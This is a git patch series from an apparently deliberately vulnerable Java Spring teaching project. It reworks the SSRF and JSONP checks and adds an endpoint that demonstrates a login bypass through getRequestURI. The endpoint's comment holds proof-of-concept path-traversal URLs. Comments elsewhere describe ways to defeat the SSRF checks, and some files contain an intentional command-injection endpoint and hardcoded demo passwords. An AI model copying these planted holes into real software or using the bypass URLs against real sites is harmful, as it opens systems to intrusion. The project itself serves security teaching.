wc.setSsrfBlockDomains(ssrfBlockDomains); + wc.setSsrfBlockIps(ssrfBlockIps); + wc.setSsrfSafeDomains(ssrfSafeDomains); } } diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java index 7eb3290a..2dfdee19 100644 --- a/src/main/java/org/joychou/config/WebConfig.java +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -11,7 +11,7 @@ * * @author JoyChou @2019-07-24 */ -@Component +@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig public class WebConfig { private static String[] callbacks; @@ -22,7 +22,10 @@ public class WebConfig { private static Boolean referSecEnabled = false; private static String businessCallback; private static ArrayList safeDomains= new ArrayList<>(); - + private static ArrayList blockDomains= new ArrayList<>(); + private static ArrayList ssrfSafeDomains = new ArrayList<>(); + private static ArrayList ssrfBlockDomains= new ArrayList<>(); + private static ArrayList ssrfBlockIps = new ArrayList<>(); /** * application.properties里object自动转jsonp的referer校验开关 * @param jsonpReferCheckEnabled jsonp校验开关 @@ -45,19 +48,6 @@ public static String[] getJsonpCallbacks(){ } - /** - * application.properties里object自动转jsonp的referer白名单域名 - * @param jsonpRefererHost 白名单域名,仅支持一级域名 - */ - @Value("${joychou.security.jsonp.referer.host}") - public void setJsonpReferWhitelist(String[] jsonpRefererHost){ - WebConfig.jsonpRefererHost = jsonpRefererHost; - } - public static String[] getJsonpReferWhitelist(){ - return jsonpRefererHost; - } - - @Value("${joychou.security.referer.enabled}") public void setReferSecEnabled(Boolean referSecEnabled){ WebConfig.referSecEnabled = referSecEnabled; @@ -95,10 +85,42 @@ public static String getBusinessCallback(){ } - public void setSafeDomains(ArrayList safeDomains){ + void setSafeDomains(ArrayList safeDomains){ WebConfig.safeDomains = safeDomains; } public static ArrayList getSafeDomains(){ return safeDomains; } + + + void setBlockDomains(ArrayList blockDomains){ + WebConfig.blockDomains = blockDomains; + } + public static ArrayList getBlockDomains(){ + return blockDomains; + } + + + void setSsrfSafeDomains(ArrayList ssrfSafeDomains){ + WebConfig.ssrfSafeDomains = ssrfSafeDomains; + } + public static ArrayList getSsrfSafeDomains(){ + return ssrfSafeDomains; + } + + + void setSsrfBlockDomains(ArrayList ssrfBlockDomains){ + WebConfig.ssrfBlockDomains = ssrfBlockDomains; + } + public static ArrayList getSsrfBlockDomainsDomains(){ + return ssrfBlockDomains; + } + + + void setSsrfBlockIps(ArrayList ssrfBlockIps){ + WebConfig.ssrfBlockIps = ssrfBlockIps; + } + public static ArrayList getSsrfBlockIps(){ + return ssrfBlockIps; + } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java new file mode 100644 index 00000000..512dc1ae --- /dev/null +++ b/src/main/java/org/joychou/controller/GetRequestURI.java @@ -0,0 +1,50 @@ +package org.joychou.controller; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +/** + * The difference between getRequestURI and getServletPath. + * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。 + * + * Details: https://joychou.org/web/security-of-getRequestURI.html + * + * Poc: + * http://localhost:8080/css/%2e%2e/exclued/vuln + * http://localhost:8080/css/..;/exclued/vuln + * http://localhost:8080/css/..;bypasswaf/exclued/vuln + * + * @author JoyChou @2020-03-28 + */ + +@RestController +@RequestMapping("uri") +public class GetRequestURI { + + private final Logger logger= LoggerFactory.getLogger(this.getClass()); + + @RequestMapping(value = "/exclued/vuln") + public String exclued(HttpServletRequest request) { + + String[] excluedPath = {"/css/**", "/js/**"}; + String uri = request.getRequestURI(); // Security: request.getServletPath() + PathMatcher matcher = new AntPathMatcher(); + + logger.info("getRequestURI: " + uri); + logger.info("getServletPath: " + request.getServletPath()); + + for (String path: excluedPath) { + if ( matcher.match (path, uri) ) { + return "You have bypassed the login page."; + } + } + return "This is a login page >..<"; + } +} diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index ec6dfc54..5b74049e 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -197,7 +197,7 @@ public static String ssrf_HttpClient(@RequestParam String url) { @RequestMapping("/commonsHttpClient/sec") @ResponseBody public static String commonsHttpClient(@RequestParam String url) { - if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + if (!SecurityUtil.checkSSRFByWhitehosts(url)) { return "Bad man. I got u."; } @@ -285,7 +285,7 @@ public static String IOUtils(@RequestParam String url) { public static String ImageIOSec(@RequestParam String url) { try { URL u = new URL(url); - if (!SecurityUtil.checkSSRF(url)) { + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { logger.error("[-] SSRF check failed. Original Url: "+ url); return "SSRF check failed."; } diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java index 5463a5a5..944a325b 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java @@ -1,18 +1,97 @@ package org.joychou.controller.jsonp; +import org.apache.commons.lang.StringUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.MethodParameter; +import org.springframework.http.MediaType; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.http.server.ServletServerHttpRequest; +import org.springframework.http.server.ServletServerHttpResponse; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; -// AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. -// Since Spring Framework 4.1 -// Springboot 2.1.0 RELEASE use spring framework 5.1.2 +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +/** + * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. + * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 + */ @ControllerAdvice public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { + private final String[] callbacks; + private final Logger logger= LoggerFactory.getLogger(this.getClass()); + + // method of using @Value in constructor - public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) { - super(callback); // Can set multiple paramNames + public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { + super(callbacks); // Can set multiple paramNames + this.callbacks = callbacks; + } + + + // Check referer + @Override + protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, + MethodParameter returnType, ServerHttpRequest req, + ServerHttpResponse res) { + + HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); + HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); + + String realJsonpFunc = getRealJsonpFunc(request); + if (StringUtils.isNotBlank(realJsonpFunc)){ + jsonpReferHandler(request, response); + } + super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); } + /** + * @return 获取实际jsonp的callback + */ + private String getRealJsonpFunc(HttpServletRequest req) { + + String reqCallback = null; + for (String callback: this.callbacks) { + reqCallback = req.getParameter(callback); + if(StringUtils.isNotBlank(reqCallback)) { + break; + } + } + return reqCallback; + } + + // 校验Jsonp的Referer + private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { + + String refer = request.getHeader("referer"); + String url = request.getRequestURL().toString(); + String query = request.getQueryString(); + + // 如果jsonp校验的开关为false,不校验 + if ( !WebConfig.getJsonpReferCheckEnabled() ) { + return; + } + + // 校验jsonp逻辑,如果不安全,返回forbidden + if (SecurityUtil.checkURL(refer) == null ){ + logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); + try{ + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("forbidden"); + response.flushBuffer(); + } catch (Exception e){ + logger.error(e.toString()); + } + + } + } } diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java deleted file mode 100644 index 7c16d9d2..00000000 --- a/src/main/java/org/joychou/filter/JsonpFilter.java +++ /dev/null @@ -1,101 +0,0 @@ -package org.joychou.filter; - - -import javax.servlet.*; -import javax.servlet.annotation.WebFilter; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; - -import org.apache.commons.lang.StringUtils; -import org.joychou.config.WebConfig; -import org.joychou.security.SecurityUtil; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - - -/** - * @author JoyChou @ 2020-01-13 - * 专门为object自动转jsonp功能配置的filter - */ - -@WebFilter(filterName = "jsonpFilter", urlPatterns = "/*") -public class JsonpFilter implements Filter { - - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - private final Logger logger= LoggerFactory.getLogger(this.getClass()); - - - @Override - public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) - throws IOException, ServletException { - - HttpServletRequest request = (HttpServletRequest) req; - HttpServletResponse response = (HttpServletResponse) res; - - String refer = request.getHeader("referer"); - StringBuffer url = request.getRequestURL(); - String query = request.getQueryString(); - - // 如果不满足jsonp校验逻辑,则不校验 - if ( !check(request) ) { - filterChain.doFilter(req, res); - return ; - } - - // 校验jsonp逻辑,如果不安全,返回forbidden - if (SecurityUtil.checkURL(refer) == null ){ - logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); - response.setStatus(HttpServletResponse.SC_FORBIDDEN); - response.getWriter().write("forbidden"); - response.flushBuffer(); - return ; - } - - // 正常的refer,继续业务逻辑。 - filterChain.doFilter(req, res); - - } - - /** - * - * @return true要进行jsonp安全校验,false不进行jsonp安全校验 - */ - private boolean check(HttpServletRequest req) { - - // 如果jsonp校验的开关为false,不校验 - if ( !WebConfig.getJsonpReferCheckEnabled() ) { - return false; - } - - // 只校验GET请求 - if ( !"GET".equals(req.getMethod()) ) { - return false; - } - - // 只校验带配置里的callback参数请求 - String reqCallback = null; - for (String callback: WebConfig.getJsonpCallbacks()) { - reqCallback = req.getParameter(callback); - if(StringUtils.isNotBlank(reqCallback)) { - break; - } - } - if(StringUtils.isBlank(reqCallback)){ - return false; - } - - - return true; - - } - @Override - public void destroy() { - - } -} diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java index f8803181..b2326f9f 100644 --- a/src/main/java/org/joychou/filter/ReferFilter.java +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -42,6 +42,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter PathMatcher matcher = new AntPathMatcher(); boolean isMatch = false; + // 获取要校验Referer的Uri for (String uri: WebConfig.getReferUris()) { if ( matcher.match (uri, request.getRequestURI()) ) { isMatch = true; diff --git a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java new file mode 100644 index 00000000..52d67e4c --- /dev/null +++ b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java @@ -0,0 +1,40 @@ +package org.joychou.interceptor; + +import org.apache.commons.lang.StringUtils; +import org.joychou.config.WebConfig; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author JoyChou @ 2020-03-28 + * 专门为object自动转jsonp功能配置的Referer校验Intercepter + */ + +public class JsonpInterceptor implements HandlerInterceptor { + + private final Logger logger= LoggerFactory.getLogger(this.getClass()); + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + return true; + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, + ModelAndView modelAndView) throws Exception { + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) + throws Exception { + logger.info(response.getWriter().toString()); + } + +} + diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java index bb959a23..2f1bcf0a 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -4,7 +4,10 @@ import java.net.InetAddress; import java.net.URI; import java.net.URL; +import java.util.ArrayList; + import org.apache.commons.net.util.SubnetUtils; +import org.joychou.config.WebConfig; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -12,6 +15,36 @@ class SSRFChecker { private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + static boolean checkURLFckSSRF(String url) { + if (null == url){ + return false; + } + + ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains(); + try { + URI uri = new URI(url); + String host = uri.getHost().toLowerCase(); + + // 必须http/https + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return false; + } + + if (ssrfSafeDomains.contains(host)) { + return true; + } + for (String ssrfSafeDomain : ssrfSafeDomains) { + if(host.endsWith("." + ssrfSafeDomain)) { + return true; + } + } + } catch (Exception e) { + logger.error(e.toString()); + return false; + } + return false; + } + /** * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 * url只允许https或者http,并且设置默认连接超时时间。 @@ -21,7 +54,7 @@ class SSRFChecker { * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 * @return 安全返回true,危险返回false */ - static Boolean checkSSRF(String url, int checkTimes) { + static boolean checkSSRF(String url, int checkTimes) { HttpURLConnection connection; int connectTime = 5*1000; // 设置连接超时时间5s @@ -69,7 +102,7 @@ static Boolean checkSSRF(String url, int checkTimes) { * * @return 如果是内网IP,返回true;非内网IP,返回false。 */ - static Boolean isInnerIPByUrl(String url) { + static boolean isInnerIPByUrl(String url) { String host = url2host(url); if (host.equals("")) { return true; // 异常URL当成内网IP等非法URL处理 @@ -92,9 +125,9 @@ static Boolean isInnerIPByUrl(String url) { */ private static boolean isInnerIp(String strIP){ - String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "0.0.0.0/32"}; + ArrayList blackSubnets= WebConfig.getSsrfBlockIps(); - for (String subnet: blackSubnetlist) { + for (String subnet: blackSubnets) { SubnetUtils utils = new SubnetUtils(subnet); if (utils.getInfo().isInRange(strIP)) { logger.error("[-] SSRF check failed. Inner Ip: " + strIP); diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index aca374da..0c6cb757 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -13,11 +13,12 @@ public class SecurityUtil { - private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ; + private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** - * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件 + * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件。 + * 优先判断黑名单,如果满足黑名单return null。 * * @param url the url need to check * @return Safe url returns original url; Illegal url returns null; @@ -29,6 +30,8 @@ public static String checkURL(String url) { } ArrayList safeDomains = WebConfig.getSafeDomains(); + ArrayList blockDomains = WebConfig.getBlockDomains(); + try { URI uri = new URI(url); String host = uri.getHost().toLowerCase(); @@ -38,6 +41,16 @@ public static String checkURL(String url) { return null; } + // 如果满足黑名单返回null + if (blockDomains.contains(host)){ + return null; + } + for(String blockDomain: blockDomains) { + if(host.endsWith("." + blockDomain)) { + return null; + } + } + // 支持多级域名 if (safeDomains.contains(host)){ return url; @@ -56,39 +69,55 @@ public static String checkURL(String url) { } } + + /** + * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。 + * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。 + * + * @author JoyChou @ 2020-03-30 + * @param url 需要校验的url + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFByWhitehosts(String url) { + return SSRFChecker.checkURLFckSSRF(url); + } + + /** - * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 + * + * 存在的问题: + * 1、会主动发起请求,可能会有性能问题 + * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 + * 3、TTL设置为0会被绕过 * * @param url check的url * @return 安全返回true,危险返回false */ - public static Boolean checkSSRF(String url) { + @Deprecated + public static boolean checkSSRF(String url) { int checkTimes = 10; return SSRFChecker.checkSSRF(url, checkTimes); } /** - * Suitable for: TTL isn't set to 0 & Redirect is forbidden. + * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 + * + * 存在问题: + * 1、TTL为0会被绕过 + * 2、使用重定向可绕过 * * @param url The url that needs to check. * @return Safe url returns true. Dangerous url returns false. */ public static boolean checkSSRFWithoutRedirect(String url) { + if(url == null) { + return false; + } return !SSRFChecker.isInnerIPByUrl(url); } - /** - * Check SSRF by host white list. - * This is the simplest and most effective method to fix ssrf vul. - * - * @param url The url that needs to check. - * @param hostWlist host whitelist - * @return Safe url returns url. Dangerous url returns null. - */ - public static String checkSSRFByHost(String url) { - return checkURL(url); - } /** * Filter file path to prevent path traversal vulns. diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index a9787aac..dab5368a 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -1,5 +1,6 @@ package org.joychou.security; +import org.joychou.interceptor.JsonpInterceptor; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; @@ -13,6 +14,7 @@ import org.springframework.web.cors.CorsConfiguration; import org.springframework.web.cors.CorsConfigurationSource; import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import javax.servlet.http.HttpServletRequest; import java.util.ArrayList; @@ -105,7 +107,6 @@ public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception .withUser("joychou").password("joychou123").roles("USER").and() .withUser("admin").password("admin123").roles("USER", "ADMIN"); } - } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index c6b2a184..8b72592e 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -35,6 +35,5 @@ joychou.security.csrf.method = POST ### jsonp configuration begins ### # auto convert json to jsonp # referer check joychou.security.jsonp.referer.check.enabled = true -joychou.security.jsonp.referer.host = joychou.org, joychou.com joychou.security.jsonp.callback = callback, _callback ### jsonp configuration ends ### \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 00000000..45e1698c --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + ____. _________ _________ .___ + | |____ ___ _______ / _____/ ____ ____ \_ ___ \ ____ __| _/____ + | \__ \\ \/ /\__ \ \_____ \_/ __ \_/ ___\ / \ \/ / _ \ / __ |/ __ \ +/\__| |/ __ \\ / / __ \_ / \ ___/\ \___ \ \___( <_> ) /_/ \ ___/ +\________(____ /\_/ (____ / /_______ /\___ >\___ > \______ /\____/\____ |\___ > + \/ \/ \/ \/ \/ \/ \/ \/ \ No newline at end of file diff --git a/src/main/resources/url/safe_domain.xml b/src/main/resources/url/safe_domain.xml deleted file mode 100644 index a403a675..00000000 --- a/src/main/resources/url/safe_domain.xml +++ /dev/null @@ -1,7 +0,0 @@ - - - - - joychou.com - test.joychou.org - diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml new file mode 100644 index 00000000..eb5e4c44 --- /dev/null +++ b/src/main/resources/url/ssrf_safe_domain.xml @@ -0,0 +1,22 @@ + + + + + + + img.alicdn.com + + + + 10.0.0.0/8 + 172.16.0.0/12 + 192.168.0.0/16 + 127.0.0.0/8 + 0.0.0.0/32 + + + + joychou-inc.com + + + diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml new file mode 100644 index 00000000..ee81efcf --- /dev/null +++ b/src/main/resources/url/url_safe_domain.xml @@ -0,0 +1,18 @@ + + + + + + joychou.com + joychou.org + test.joychou.org + localhost + + + + + baidu.com + evil.joychou.org + + + From 039d0f12cf9f50e27e0061711f33d3da01ca1113 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 31 Mar 2020 18:11:43 +0800 Subject: [PATCH 13/38] bug fix --- .../joychou/interceptor/JsonpInterceptor.java | 40 ------------------- .../org/joychou/security/SecurityUtil.java | 2 +- .../joychou/security/WebSecurityConfig.java | 4 +- 3 files changed, 2 insertions(+), 44 deletions(-) delete mode 100644 src/main/java/org/joychou/interceptor/JsonpInterceptor.java diff --git a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java deleted file mode 100644 index 52d67e4c..00000000 --- a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java +++ /dev/null @@ -1,40 +0,0 @@ -package org.joychou.interceptor; - -import org.apache.commons.lang.StringUtils; -import org.joychou.config.WebConfig; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.web.servlet.HandlerInterceptor; -import org.springframework.web.servlet.ModelAndView; - -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - -/** - * @author JoyChou @ 2020-03-28 - * 专门为object自动转jsonp功能配置的Referer校验Intercepter - */ - -public class JsonpInterceptor implements HandlerInterceptor { - - private final Logger logger= LoggerFactory.getLogger(this.getClass()); - - @Override - public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) - throws Exception { - return true; - } - - @Override - public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, - ModelAndView modelAndView) throws Exception { - } - - @Override - public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) - throws Exception { - logger.info(response.getWriter().toString()); - } - -} - diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 0c6cb757..14cc397f 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -17,7 +17,7 @@ public class SecurityUtil { private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** - * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件。 + * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。 * 优先判断黑名单,如果满足黑名单return null。 * * @param url the url need to check diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index dab5368a..5e8c3697 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -1,6 +1,5 @@ package org.joychou.security; -import org.joychou.interceptor.JsonpInterceptor; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; @@ -14,7 +13,6 @@ import org.springframework.web.cors.CorsConfiguration; import org.springframework.web.cors.CorsConfigurationSource; import org.springframework.web.cors.UrlBasedCorsConfigurationSource; -import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import javax.servlet.http.HttpServletRequest; import java.util.ArrayList; @@ -39,7 +37,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Value("${joychou.security.csrf.method}") private String[] csrfMethod = {"POST"}; - RequestMatcher csrfRequestMatcher = new RequestMatcher() { + private RequestMatcher csrfRequestMatcher = new RequestMatcher() { @Override public boolean matches(HttpServletRequest request) { From 33748f31054535fed0c3ae42ca23fde31b5b3404 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 3 Apr 2020 10:23:40 +0800 Subject: [PATCH 14/38] bug fix --- README.md | 3 +- .../java/org/joychou/config/Constants.java | 8 +++++ .../org/joychou/controller/CRLFInjection.java | 9 +++-- .../org/joychou/controller/CommandInject.java | 4 +-- .../java/org/joychou/controller/Cookies.java | 12 +++---- .../java/org/joychou/controller/Cors.java | 4 +-- .../org/joychou/controller/Deserialize.java | 10 +++--- .../java/org/joychou/controller/Fastjson.java | 2 +- .../{jsonp/JSONP.java => Jsonp.java} | 35 ++++++------------- .../org/joychou/controller/URLRedirect.java | 4 +-- .../Object2Jsonp.java} | 7 ++-- .../org/joychou/security/SSRFChecker.java | 3 +- .../java/org/joychou/util/LoginUtils.java | 21 +++++++++++ 13 files changed, 68 insertions(+), 54 deletions(-) create mode 100644 src/main/java/org/joychou/config/Constants.java rename src/main/java/org/joychou/controller/{jsonp/JSONP.java => Jsonp.java} (76%) rename src/main/java/org/joychou/{controller/jsonp/JSONPAdvice.java => security/Object2Jsonp.java} (93%) create mode 100644 src/main/java/org/joychou/util/LoginUtils.java diff --git a/README.md b/README.md index 5799c51b..9ee7a881 100644 --- a/README.md +++ b/README.md @@ -33,9 +33,10 @@ Sort by letter. - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java) - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java new file mode 100644 index 00000000..62379458 --- /dev/null +++ b/src/main/java/org/joychou/config/Constants.java @@ -0,0 +1,8 @@ +package org.joychou.config; + +public class Constants { + + private Constants(){} + + public static final String REMEMBER_ME_COOKIE = "rememberMe"; +} diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java index b0e9af4c..4fb66ba7 100644 --- a/src/main/java/org/joychou/controller/CRLFInjection.java +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -9,18 +9,17 @@ import javax.servlet.http.HttpServletResponse; /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.01.03 - * @desc Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8) + * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8) + * + * @author JoyChou (joychou@joychou.org) @2018-01-03 */ - @Controller @RequestMapping("/crlf") public class CRLFInjection { @RequestMapping("/safecode") @ResponseBody - private static void crlf(HttpServletRequest request, HttpServletResponse response) { + public void crlf(HttpServletRequest request, HttpServletResponse response) { response.addHeader("test1", request.getParameter("test1")); response.setHeader("test2", request.getParameter("test2")); String author = request.getParameter("test3"); diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java index f4901b87..5b63efcf 100644 --- a/src/main/java/org/joychou/controller/CommandInject.java +++ b/src/main/java/org/joychou/controller/CommandInject.java @@ -22,7 +22,7 @@ public class CommandInject { * @return result */ @GetMapping("/codeinject") - public static String codeInject(String filepath) throws IOException { + public String codeInject(String filepath) throws IOException { String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; ProcessBuilder builder = new ProcessBuilder(cmdList); @@ -50,7 +50,7 @@ public String codeInjectHost(HttpServletRequest request) throws IOException { } @GetMapping("/codeinject/sec") - public static String codeInjectSec(String filepath) throws IOException { + public String codeInjectSec(String filepath) throws IOException { String filterFilePath = SecurityUtil.cmdFilter(filepath); if (null == filterFilePath) { return "Bad boy. I got u."; diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java index 5a32b191..e498dfc6 100644 --- a/src/main/java/org/joychou/controller/Cookies.java +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -16,14 +16,14 @@ public class Cookies { private static String NICK = "nick"; @RequestMapping(value = "/vuln01") - private String vuln01(HttpServletRequest req) { + public String vuln01(HttpServletRequest req) { String nick = WebUtils.getCookieValueByName(req, NICK); // key code return "Cookie nick: " + nick; } @RequestMapping(value = "/vuln02") - private String vuln02(HttpServletRequest req) { + public String vuln02(HttpServletRequest req) { String nick = null; 